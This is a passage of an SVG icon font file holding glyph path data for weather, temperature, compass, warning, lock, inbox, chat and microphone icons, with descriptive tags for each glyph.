			c-54.031,0-98-43.969-98-98c0-15.258, 3.792-29.531, 10.063-42.383C 41.891,157.484,0,114.664,0,62c0-54.031, 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083-51.677, 190.313-64, 224-64c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301-33.813, 338.023-36, 350-36c 54.031,0, 98,43.969, 98,98S 404.031,160, 350,160z M 224,216c-40.196,0-77.438-17.335-103.578-46.594
			C 115.227,179.177, 112,190.151, 112,202c0,38.665, 31.335,70, 70,70c 34.835,0, 63.492-25.521, 68.87-58.844
			C 242.102,214.906, 233.152,216, 224,216z" data-tags="cloudy, weather" />
<glyph unicode="&#xe290;" d="M 380.679,154.605c 4.266,3.172, 8.585,6.289, 12.45,10.153c 11.557,11.575, 20.362,25.666, 26.068,41.872
	c 1.823,5.068, 0.528,10.755-3.3,14.547c-3.81,3.828-9.46,5.122-14.545,3.318c-30.971-10.938-64.477-3.5-87.409,19.469
	c-22.968,22.969-30.442,56.456-19.468,87.409c 1.787,5.086, 0.51,10.737-3.318,14.565c-3.791,3.791-9.46,5.104-14.547,3.317
	c-16.224-5.76-30.297-14.547-41.855-26.104c-29.348-29.313-38.482-70.875-28.419-108.318c-37.844-4.831-71.859-24.938-94.518-55.818
	c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.968-98-98c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.417
	C 158.082-51.676, 190.312-64, 223.999-64c 33.724,0, 65.916,12.323, 91.255,34.417c 11.047-4.229, 22.768-6.417, 34.745-6.417
	c 54.031,0, 98,43.969, 98,98C 448,105.258, 419.635,141.643, 380.679,154.605z M 254.552,303.354c 2.224,2.26, 4.612,4.357, 7.128,6.325
	c-1.969-31.482, 9.388-62.453, 32.466-85.513c 23.079-23.078, 54.050-34.416, 85.532-32.466c-12.068-15.386-28.693-24.956-46.485-29.040
	c-23.953,30.406-59.154,49.546-97.963,52.664C 224.492,245.039, 230.781,279.584, 254.552,303.354z" data-tags="cloud, night, weather" />
<glyph unicode="&#xe291;" d="M 350,244c-4.648,0-9.242-0.328-13.818-0.984
	C 310.042,278.635, 268.789,300, 224,300s-86.023-21.365-112.182-56.984C 107.242,243.672, 102.648,244, 98,244C 43.969,244,0,200.031,0,146
	c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,32.323, 190.313,20, 224,20
	c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301,50.187, 338.023,48, 350,48c 54.031,0, 98,43.969, 98,98
	C 448,200.031, 404.031,244, 350,244z" data-tags="cloud, weather" />
<glyph unicode="&#xe292;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
	c-44.79,0-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
	c 11.977,0, 23.698,2.188, 34.745,6.416c 18.848-16.425, 41.489-27.38, 65.716-31.956L 168,76l 28-28l-28-84l 84,84l-28,28l 9.625,28.874
	c 30.151,2.133, 58.734,13.6, 81.63,33.542C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z" data-tags="lightning, weather" />
<glyph unicode="&#xe293;" d="M 350,300c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,334.635, 268.789,356, 224,356s-86.023-21.365-112.182-56.984C 107.242,299.672, 102.648,300, 98,300C 43.969,300,0,256.031,0,202
			c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,88.323, 190.313,76, 224,76
			c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301,106.187, 338.023,104, 350,104c 54.031,0, 98,43.969, 98,98
			C 448,256.031, 404.031,300, 350,300z M 196-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 196,7.477, 196-8z" data-tags="rainy, cloud, weather" />
<glyph unicode="&#xe294;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 196.875-36c0-15.477, 12.523-28, 28-28
			s 28,12.523, 28,28s-28,56-28,56S 196.875-20.523, 196.875-36z M 308-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56
			S 308,7.477, 308-8z M 84,48c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 84,63.477, 84,48z" data-tags="rainy, cloud, weather" />
<glyph unicode="&#xe295;" d="M 364.912,238.677c-20.982,21.474-49.984,33.925-80.264,33.925
			c-30.242,0-59.227-12.45-80.226-33.925c-46.21-2.152-83.125-40.415-83.125-87.136c0-48.088, 39.12-87.208, 87.227-87.208
			c 5.086,0, 10.153,0.438, 15.094,1.312c 18.156-11.848, 39.321-18.247, 61.030-18.247c 21.747,0, 42.93,6.399, 61.051,18.247
			c 4.994-0.874, 10.026-1.312, 15.13-1.312c 48.070,0, 87.172,39.12, 87.172,87.208C 448,198.263, 411.086,236.526, 364.912,238.677z
			 M 126,76L 14,76 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 112,0 c 7.729,0, 14,6.271, 14,14S 133.729,76, 126,76z M 14,104l 56,0 
			c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 14,132 c-7.729,0-14-6.271-14-14S 6.271,104, 14,104z M 42,160l 56,0 c 7.729,0, 14,6.271, 14,14
			s-6.271,14-14,14L 42,188 c-7.729,0-14-6.271-14-14S 34.271,160, 42,160z" data-tags="windy, cloud, weather" />
<glyph unicode="&#xe296;" d="M 364.912,322.057C 343.929,343.55, 314.927,356, 284.648,356
			c-30.242,0-59.227-12.45-80.207-33.943c-46.211-2.133-83.143-40.396-83.143-87.099c0-48.106, 39.12-87.245, 87.227-87.245
			c 5.105,0, 10.153,0.438, 15.112,1.313c 18.138-11.831, 39.302-18.229, 61.013-18.229c 21.747,0, 42.93,6.398, 61.051,18.229
			c 4.994-0.874, 10.026-1.313, 15.13-1.313c 48.070,0, 87.172,39.139, 87.172,87.245C 448,281.662, 411.086,319.943, 364.912,322.057z
			 M 126,159.398L 14,159.398 c-7.729,0-14-6.253-14-14c0-7.746, 6.271-14, 14-14l 112,0 c 7.729,0, 14,6.254, 14,14
			C 140,153.145, 133.729,159.398, 126,159.398z M 14,187.398l 56,0 c 7.729,0, 14,6.253, 14,14c0,7.747-6.271,14-14,14L 14,215.398 
			c-7.729,0-14-6.253-14-14C0,193.651, 6.271,187.398, 14,187.398z M 42,243.398l 56,0 c 7.729,0, 14,6.253, 14,14c0,7.747-6.271,14-14,14L 42,271.398 
			c-7.729,0-14-6.253-14-14C 28,249.651, 34.271,243.398, 42,243.398z M 196,48c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56
			S 196,63.477, 196,48z M 308-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 308,7.477, 308-8z" data-tags="windy, rainy, weather, cloud" />
<glyph unicode="&#xe297;" d="M 285.287-4.227l-15.75,9.079
			c 0.474,2.734, 0.837,5.522, 0.837,8.421c0,2.898-0.363,5.688-0.874,8.422l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091
			c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 
			c0,8.55-6.946,15.477-15.477,15.477s-15.459-6.927-15.459-15.477l0-18.266 c-5.359-1.915-10.19-4.794-14.456-8.422l-15.878,9.188
			c-7.419,4.266-16.88,1.75-21.145-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44
			c0-2.899, 0.328-5.688, 0.839-8.421L 162.75-4.227c-7.402-4.266-9.953-13.781-5.688-21.165s 13.727-9.898, 21.109-5.633l 15.896,9.133
			c 4.265-3.609, 9.097-6.453, 14.473-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.459-15.421s 15.477,6.891, 15.477,15.421l0,18.321 
			c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203-18.008, 292.688-8.547, 285.287-4.227z M 224-2.203c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.458-6.909, 15.458-15.44S 232.531-2.203, 224-2.203z M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.041,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z" data-tags="snowy, cloud, weather" />
<glyph unicode="&#xe298;" d="M 285.287-4.227l-15.75,9.079
			c 0.474,2.734, 0.838,5.522, 0.838,8.421c0,2.898-0.364,5.688-0.875,8.422l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091
			c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 
			c0,8.55-6.946,15.477-15.477,15.477s-15.458-6.927-15.458-15.477l0-18.266 c-5.36-1.915-10.19-4.794-14.456-8.422l-15.878,9.188
			c-7.419,4.266-16.881,1.75-21.146-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44
			c0-2.899, 0.328-5.688, 0.839-8.421L 162.75-4.227c-7.402-4.266-9.953-13.781-5.688-21.165s 13.727-9.898, 21.109-5.633l 15.896,9.133
			c 4.265-3.609, 9.097-6.453, 14.474-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.458-15.421s 15.477,6.891, 15.477,15.421l0,18.321 
			c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203-18.008, 292.688-8.547, 285.287-4.227z M 224-2.203c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.459-6.909, 15.459-15.44S 232.531-2.203, 224-2.203z M 414.895,37.281l-10.573,2.807c-0.255,3.354-1.057,6.544-2.534,9.607
			l 7.675,7.675c 3.609,3.609, 3.591,9.443,0,12.997c-3.573,3.591-9.37,3.609-12.979,0l-7.692-7.656
			c-3.027,1.422-6.253,2.242-9.589,2.516l-2.808,10.554c-1.312,4.885-6.344,7.821-11.265,6.508
			c-4.904-1.331-7.766-6.362-6.49-11.266l 2.808-10.409c-1.386-0.949-2.699-2.005-3.938-3.209c-1.203-1.24-2.224-2.551-3.173-3.902
			l-10.409,2.808c-4.904,1.312-9.972-1.641-11.284-6.508c-1.312-4.922, 1.641-9.935, 6.49-11.266l 10.5-2.825
			c 0.292-3.3, 1.131-6.526, 2.607-9.589l-7.71-7.71c-3.573-3.591-3.554-9.388, 0.037-12.96
			c 3.573-3.573, 9.37-3.609, 12.943-0.037l 7.728,7.729c 3.027-1.494, 6.272-2.333, 9.626-2.587l 2.77-10.518
			c 1.349-4.904, 6.344-7.821, 11.266-6.508c 4.885,1.313, 7.837,6.343, 6.526,11.302l-2.808,10.409c 1.313,0.929, 2.662,1.969, 3.902,3.172
			c 1.203,1.221, 2.224,2.571, 3.171,3.919l 10.427-2.808c 4.904-1.313, 9.953,1.622, 11.247,6.49
			C 422.679,30.902, 419.781,35.932, 414.895,37.281z M 383.523,31.429c-3.609-3.609-9.425-3.591-13.016,0
			c-3.554,3.554-3.591,9.388,0,12.997c 3.591,3.573, 9.425,3.573, 13.016,0C 387.078,40.836, 387.078,34.984, 383.523,31.429z
			 M 104.071,84.312l-10.391-2.79c-0.966,1.313-1.969,2.643-3.19,3.883c-1.239,1.203-2.551,2.242-3.919,3.172l 2.79,10.446
			c 1.313,4.904-1.605,9.953-6.453,11.247c-4.922,1.313-9.953-1.605-11.266-6.49l-2.844-10.554c-3.335-0.273-6.526-1.094-9.571-2.534
			l-7.71,7.675c-3.609,3.609-9.406,3.591-12.98,0c-3.591-3.591-3.591-9.406,0-12.997l 7.675-7.675
			c-1.44-3.063-2.279-6.289-2.534-9.607l-10.537-2.807c-4.922-1.349-7.839-6.344-6.526-11.266c 1.331-4.885, 6.362-7.766, 11.284-6.49
			l 10.391,2.826c 0.929-1.404, 1.969-2.717, 3.227-3.938c 1.203-1.203, 2.516-2.279, 3.883-3.172l-2.79-10.409
			c-1.313-4.922, 1.605-9.99, 6.489-11.302c 4.923-1.313, 9.917,1.604, 11.23,6.508l 2.844,10.5c 3.335,0.273, 6.563,1.112, 9.625,2.571l 7.692-7.693
			c 3.573-3.608, 9.37-3.536, 12.98,0.037c 3.554,3.554, 3.609,9.37,0,12.96l-7.71,7.71c 1.477,3.027, 2.352,6.289, 2.571,9.626
			l 10.554,2.79c 4.867,1.331, 7.784,6.344, 6.471,11.266C 114.042,82.671, 109.011,85.588, 104.071,84.312z M 77.492,59.412
			c-3.591-3.591-9.406-3.591-13.016,0c-3.554,3.573-3.554,9.425,0,12.979c 3.609,3.573, 9.425,3.573, 13.016,0
			S 81.047,62.984, 77.492,59.412z M 448,230c0,54.031-43.969,98-98,98c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132C 404.031,132, 448,175.969, 448,230z" data-tags="snowy, cloud, weather" />
<glyph unicode="&#xe299;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
			s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 84,104c-15.477,0-28-12.523-28-28
			s 12.523-28, 28-28s 28,12.523, 28,28S 99.477,104, 84,104z M 224,76c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28
			S 239.477,76, 224,76z M 364,104c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28S 379.477,104, 364,104z M 308-8
			c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28S 323.477-8, 308-8z M 140-8c-15.477,0-28-12.523-28-28
			s 12.523-28, 28-28s 28,12.523, 28,28S 155.477-8, 140-8z" data-tags="weather, cloud" />
<glyph unicode="&#xe29a;" d="M 427.292,167.51c 12.796-16.552, 20.708-37.023, 20.708-59.5c0-54.030-43.969-98-98-98
	c-11.977,0-23.698,2.188-34.745,6.416c-25.338-22.093-57.53-34.416-91.255-34.416c-33.688,0-65.917,12.323-91.255,34.416
	c-11.047-4.229-22.768-6.416-34.745-6.416c-54.031,0-98,43.97-98,98c0,54.031, 43.969,98, 98,98
	c 4.648,0, 9.242-0.328, 13.818-0.984c 0.456,0.638, 1.020,1.203, 1.494,1.823c-0.711,4.321-1.313,8.659-1.313,13.161
	c0,43.021, 35,78.003, 77.984,78.003c 2.114,0, 4.211-0.091, 6.289-0.256c 20.234,25.247, 50.75,40.232, 83.727,40.232
	c 32.995,0, 63.492-14.984, 83.727-40.232c 2.078,0.165, 4.156,0.256, 6.253,0.256C 413,298.013, 448,263.031, 448,220.010
	C 448,199.74, 440.051,181.419, 427.292,167.51z" data-tags="cloudy, weather, clouds" />
<glyph unicode="&#xe29b;" d="M 448,266.021c0,43.003-35,77.983-78.021,77.983c-2.096,0-4.175-0.073-6.253-0.236
	C 343.492,368.997, 312.995,384, 280,384c-32.977,0-63.492-15.003-83.727-40.232c-2.078,0.164-4.175,0.236-6.289,0.236
	C 147,344.005, 112,309.023, 112,266.021c0-4.503, 0.602-8.859, 1.313-13.162c-0.474-0.619-1.039-1.185-1.494-1.823
	c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.969-98-98c0-54.032, 43.969-98, 98-98c 11.977,0, 23.698,2.187, 34.745,6.416
	c 16.060-14, 35.091-23.571, 55.306-29.057L 168,20l 28-28l-28-56l 84,56l-28,28l 4.211,8.385c 32.156,0.984, 62.781,12.888, 87.044,34.052
	c 11.047-4.23, 22.768-6.416, 34.745-6.416c 54.031,0, 98,43.968, 98,98c0,22.458-7.912,42.948-20.708,59.5
	C 440.051,227.412, 448,245.732, 448,266.021z" data-tags="lightning, clouds, weather" />
<glyph unicode="&#xe29c;" d="M 252,68.234L 252,325.448 C 252,342.328, 239.458,356, 224,356
	c-15.459,0-28-13.672-28-30.552l0-257.213 c-16.662-9.698-28-27.563-28-48.234c0-30.916, 25.083-56, 56-56c 30.916,0, 56,25.084, 56,56
	C 280,40.671, 268.679,58.537, 252,68.234z" data-tags="thermometer, temperature" />
<glyph unicode="&#xe29d;" d="M 224,384C 100.278,384,0,283.722,0,160c0-123.703, 100.278-224, 224-224c 123.703,0, 224,100.297, 224,224
			C 448,283.722, 347.703,384, 224,384z M 224-8c-92.641,0-168,75.359-168,168S 131.359,328, 224,328s 168-75.359, 168-168S 316.641-8, 224-8
			z M 140,76l 112,56l 56,112l-112-56L 140,76z" data-tags="compass, location, map" />
<glyph unicode="&#xe29e;" d="M 139.207,140.185l-0.912,0 l-29.331,44.79l-35.821,52.882l-27.781,0 l0-154.346 l 30.679,0 L 76.042,180.727 l 1.331,0 
			l 25.466-38.974l 39.102-58.242l 27.946,0 L 169.887,237.857 l-30.679,0 L 139.207,140.185 z M 180.66,74.105l 22.605,0 l 56.692,171.791l-22.859,0 L 180.66,74.105z
			 M 348.879,237.857l-31.354,0 l-54.232-154.346l 32.703,0 l 10.081,31.828l 53.777,0 l 9.405-31.828l 33.378,0 L 348.879,237.857z M 314.371,141.078
			l 6.253,20.381l 11.903,40.103l 0.875,0 l 12.122-40.779l 6.034-19.706L 314.371,141.077 z" data-tags="none, nothing" />
<glyph unicode="&#xe29f;" d="M 183.021,229.672c-3.154,2.971-6.818,5.323-10.974,7.054c-4.211,1.696-8.696,2.571-13.453,2.571
			c-4.776,0-9.261-0.875-13.453-2.571c-4.156-1.732-7.821-4.084-10.973-7.054c-3.136-2.99-5.596-6.49-7.402-10.537
			c-1.787-4.029-2.679-8.294-2.679-12.76c0-4.484, 0.893-8.75, 2.679-12.779c 1.804-4.029, 4.266-7.547, 7.402-10.518
			c 3.154-2.99, 6.817-5.359, 10.973-7.055c 4.192-1.732, 8.677-2.588, 13.453-2.588c 4.758,0, 9.242,0.857, 13.453,2.588
			c 4.156,1.696, 7.821,4.065, 10.974,7.055c 3.135,2.971, 5.596,6.49, 7.364,10.518c 1.787,4.029, 2.716,8.294, 2.716,12.779
			c0,4.466-0.929,8.732-2.716,12.76C 188.617,223.183, 186.156,226.683, 183.021,229.672z M 169.586,195.839
			c-3.008-2.99-6.672-4.484-10.992-4.484s-7.984,1.495-10.992,4.484c-2.971,2.99-4.484,6.49-4.484,10.537
			c0,4.156, 1.513,7.729, 4.484,10.627c 3.008,2.916, 6.672,4.357, 10.992,4.357s 7.984-1.44, 10.992-4.357
			c 2.953-2.898, 4.466-6.471, 4.466-10.627C 174.052,202.328, 172.539,198.828, 169.586,195.839z M 293.344,111.183
			c-5.304-1.514-10.573-2.26-15.804-2.26c-3.446,0-6.836,0.528-10.19,1.566c-3.372,1.058-6.435,2.699-9.187,4.94
			c-2.771,2.243-5.014,5.105-6.709,8.622c-1.714,3.5-2.588,7.802-2.588,12.87l0,45.026 c0,5.068, 0.874,9.406, 2.588,12.997
			c 1.695,3.573, 3.902,6.49, 6.598,8.732c 2.699,2.242, 5.724,3.846, 9.188,4.813c 3.427,0.967, 6.855,1.459, 10.3,1.459
			c 5.232,0, 10.609-0.766, 16.132-2.352c 5.524-1.567, 10.665-4.374, 15.459-8.403l 14.784,23.753
			c-5.997,5.213-13.107,9.023-21.419,11.429c-8.277,2.37-16.881,3.573-25.85,3.573c-7.31,0-14.51-1.057-21.51-3.136
			c-7.018-2.096-13.253-5.232-18.703-9.406c-5.432-4.193-9.862-9.37-13.198-15.567c-3.391-6.198-5.067-13.416-5.067-21.619
			l0-57.787 c0-8.367, 1.732-15.641, 5.177-21.839c 3.427-6.198, 7.911-11.357, 13.417-15.458c 5.54-4.12, 11.794-7.2, 18.812-9.297
			c 7.037-2.078, 14.2-3.136, 21.529-3.136c 9.097,0, 17.737,1.349, 25.977,4.029c 8.203,2.698, 15.148,6.435, 20.835,11.193
			l-14.565,23.753C 303.989,115.484, 298.63,112.659, 293.344,111.183z" data-tags="Celsius, temperature" />
<glyph unicode="&#xe2a0;" d="M 182.465,228.888c-3.154,2.971-6.817,5.323-10.973,7.054c-4.211,1.696-8.696,2.571-13.453,2.571
			c-4.777,0-9.261-0.875-13.453-2.571c-4.156-1.732-7.821-4.084-10.974-7.054c-3.135-2.989-5.596-6.489-7.402-10.536
			c-1.787-4.029-2.679-8.294-2.679-12.761c0-4.484, 0.893-8.75, 2.679-12.778c 1.805-4.029, 4.267-7.547, 7.402-10.518
			c 3.154-2.989, 6.818-5.359, 10.974-7.054c 4.192-1.732, 8.677-2.588, 13.453-2.588c 4.758,0, 9.242,0.857, 13.453,2.588
			c 4.156,1.696, 7.821,4.065, 10.973,7.054c 3.136,2.971, 5.596,6.49, 7.364,10.518c 1.787,4.029, 2.717,8.294, 2.717,12.778
			c0,4.466-0.93,8.732-2.717,12.761C 188.061,222.399, 185.601,225.899, 182.465,228.888z M 169.030,195.055
			c-3.008-2.99-6.672-4.485-10.992-4.485s-7.984,1.495-10.992,4.485c-2.971,2.989-4.484,6.489-4.484,10.536
			c0,4.156, 1.513,7.729, 4.484,10.628c 3.008,2.916, 6.672,4.357, 10.992,4.357s 7.984-1.44, 10.992-4.357
			c 2.952-2.898, 4.466-6.471, 4.466-10.628C 173.496,201.544, 171.982,198.044, 169.030,195.055z M 324.469,208.271l0,27.563 L 218.085,235.834 l0-154.346 
			l 30.68,0 l0,62.946 l 64.732,0 l0,27.544 l-64.732,0 l0,36.294 L 324.469,208.271 z" data-tags="Fahrenheit, temperature" />
<glyph unicode="&#xe1c3;" d="M 442.064,17.046l-167.986,336C 264.6,372.016, 245.224,384, 224,384s-40.6-11.984-50.078-30.954
			l-167.986-336c-8.68-17.36-7.756-37.982, 2.45-54.502C 18.592-53.948, 36.61-64, 56.014-64l 335.958,0 c 19.418,0, 37.436,10.052, 47.628,26.544
			C 449.806-20.936, 450.73-0.314, 442.064,17.046z M 251.972,6c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 
			c 7.742,0, 14-6.258, 14-14L 251.972,6 z M 251.972,118c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14L 195.972,258 c0,7.728, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.272, 14-14
			L 251.972,118 z" data-tags="warning, alert" />
<glyph unicode="&#xe1c4;" d="M 448,90c0-54.124-43.876-98-98-98L 98-8 l0,0.35 c-54.712,3.612-98,49.028-98,104.65
	c0,34.622, 16.828,65.226, 42.672,84.35C 42.462,183.576, 42,185.732, 42,188c0,38.668, 31.346,70, 70,70c 13.454,0, 25.914-3.99, 36.582-10.57
	C 166.824,294.54, 212.464,328, 266,328c 69.594,0, 126-56.406, 126-126c0-7.714-0.798-15.204-2.128-22.526C 424.102,164.186, 448,129.914, 448,90z" data-tags="cloud, weather" />
<glyph unicode="&#xe22e;" d="M 406-64L 42-64 c-7.728,0-14,6.258-14,14L 28,174 c0,7.742, 6.272,14, 14,14l 42,0 l0,56 C 84,321.322, 146.678,384, 224,384
	s 140-62.678, 140-140l0-56 l 42,0 c 7.742,0, 14-6.258, 14-14l0-224 C 420-57.742, 413.742-64, 406-64z M 308,251C 308,293.532, 270.382,328, 224,328s-84-34.468-84-77L 140,188 l 168,0 L 308,251 z" data-tags="locked, encryption, login, log in" />
<glyph unicode="&#xe2a1;" d="M 364,370c0,7.728-6.258,14-14,14l-14,0 l-14,0 L 126,384 L 112,384 L 98,384 C 90.272,384, 84,377.728, 84,370L0,160l0-196 
	c0-15.456, 12.544-28, 28-28l 392,0 c 15.456,0, 28,12.544, 28,28L 448,160 L 364,370z M 322,160l-42-70c0-7.742-6.258-14-14-14l-84,0 c-7.742,0-14,6.258-14,14l-42,70L 56,160 L 128.002,328
	l 192.010,0 L 392,160L 322,160 z" data-tags="inbox, archive, drawer" />
<glyph unicode="&#xe2a2;" d="M 224-7.566c-9.086,0-22.386,10.22-31.206,11.158c-25.158-21.098-51.366-46.494-86.996-59.696
	c-15.554-6.594-28.91-10.416-32.382-6.258c-4.662,5.418-11.704,12.936-12.95,14.952c 0.070,2.996, 3.696,0.63, 7.644,4.886
	c 21.504,9.044, 35.392,32.382, 44.73,60.914C 45.486,52.144,0,115.466,0,188.182C0,296.276, 100.296,383.916, 224,383.916s 224-87.626, 224-195.734
	S 347.704-7.566, 224-7.566z" data-tags="comment, chat, talk, bubble" />
<glyph unicode="&#xe2a3;" d="M 392,174l-0.686,0 C 384.426,100.15, 324.688,20, 252,20l0-56 l 84,0 c 7.742,0, 14-6.258, 14-14
	s-6.258-14-14-14L 112-64 c-7.742,0-14,6.258-14,14s 6.258,14, 14,14l 84,0 l0,56 c-72.688,0-132.412,80.15-139.314,154L 56,174 l0,14 l0,0l0,0l0,14 l0,0L 56,258 c0,15.456, 12.544,28, 28,28
	s 28-12.544, 28-28l0-28 l0-28 l0-14 c0-61.852, 50.148-112, 112-112s 112,50.148, 112,112l0,14 l0,28 L 336,258 c0,15.456, 12.544,28, 28,28s 28-12.544, 28-28l0-28 l0,0L 392,174 z M 224,132
	c-38.668,0-56,31.332-56,70L 168,314 c0,38.654, 17.332,70, 56,70s 56-31.346, 56-70l0-112 C 280,163.332, 262.668,132, 224,132z M 245,188c 3.864,0, 7,3.136, 7,7
	c0,3.85-3.136,7-7,7S 238,198.85, 238,195C 238,191.136, 241.136,188, 245,188z M 203,272C 199.136,272, 196,268.85, 196,265
	C 196,261.136, 199.136,258, 203,258S 210,261.136, 210,265C 210,268.85, 206.864,272, 203,272z M 210,293C 210,296.864, 206.864,300, 203,300S 196,296.864, 196,293
	C 196,289.136, 199.136,286, 203,286S 210,289.136, 210,293z M 217,230c-3.864,0-7-3.15-7-7c0-3.864, 3.136-7, 7-7s 7,3.136, 7,7
	C 224,226.85, 220.864,230, 217,230z M 231,230c 3.864,0, 7,3.136, 7,7c0,3.85-3.136,7-7,7S 224,240.85, 224,237
	C 224,233.136, 227.136,230, 231,230z M 217,244c 3.864,0, 7,3.136, 7,7C 224,254.85, 220.864,258, 217,258S 210,254.85, 210,251
	C 210,247.136, 213.136,244, 217,244z M 203,244c-3.864,0-7-3.15-7-7c0-3.864, 3.136-7, 7-7s 7,3.136, 7,7
	C 210,240.85, 206.864,244, 203,244z M 217,272C 220.864,272, 224,275.136, 224,279C 224,282.864, 220.864,286, 217,286S 210,282.864, 210,279
	C 210,275.136, 213.136,272, 217,272z M 231,286C 234.864,286, 238,289.136, 238,293C 238,296.864, 234.864,300, 231,300S 224,296.864, 224,293C 224,289.136, 227.136,286, 231,286z
	 M 231,272C 227.136,272, 224,268.85, 224,265C 224,261.136, 227.136,258, 231,258S 238,261.136, 238,265C 238,268.85, 234.864,272, 231,272z M 245,272
	C 248.864,272, 252,275.136, 252,279C 252,282.864, 248.864,286, 245,286S 238,282.864, 238,279C 238,275.136, 241.136,272, 245,272z M 245,258C 241.136,258, 238,254.85, 238,251
	c0-3.864, 3.136-7, 7-7S 252,247.136, 252,251C 252,254.85, 248.864,258, 245,258z M 245,230c-3.864,0-7-3.15-7-7
	c0-3.864, 3.136-7, 7-7s 7,3.136, 7,7C 252,226.85, 248.864,230, 245,230z M 231,202c 3.864,0, 7,3.136, 7,7
	c0,3.85-3.136,7-7,7S 224,212.85, 224,209C 224,205.136, 227.136,202, 231,202z M 217,188c 3.864,0, 7,3.136, 7,7
	c0,3.85-3.136,7-7,7S 210,198.85, 210,195C 210,191.136, 213.136,188, 217,188z M 203,202c 3.864,0, 7,3.136, 7,7
	c0,3.85-3.136,7-7,7S 196,212.85, 196,209C 196,205.136, 199.136,202, 203,202z M 203,328C 199.136,328, 196,324.864, 196,321
	C 196,317.136, 199.136,314, 203,314S 210,317.136, 210,321C 210,324.864, 206.864,328, 203,328z M 217,314C 213.136,314, 210,310.864, 210,307C 210,303.136, 213.136,300, 217,300
	S 224,303.136, 224,307C 224,310.864, 220.864,314, 217,314z M 231,328C 227.136,328, 224,324.864, 224,321C 224,317.136, 227.136,314, 231,314S 238,317.136, 238,321
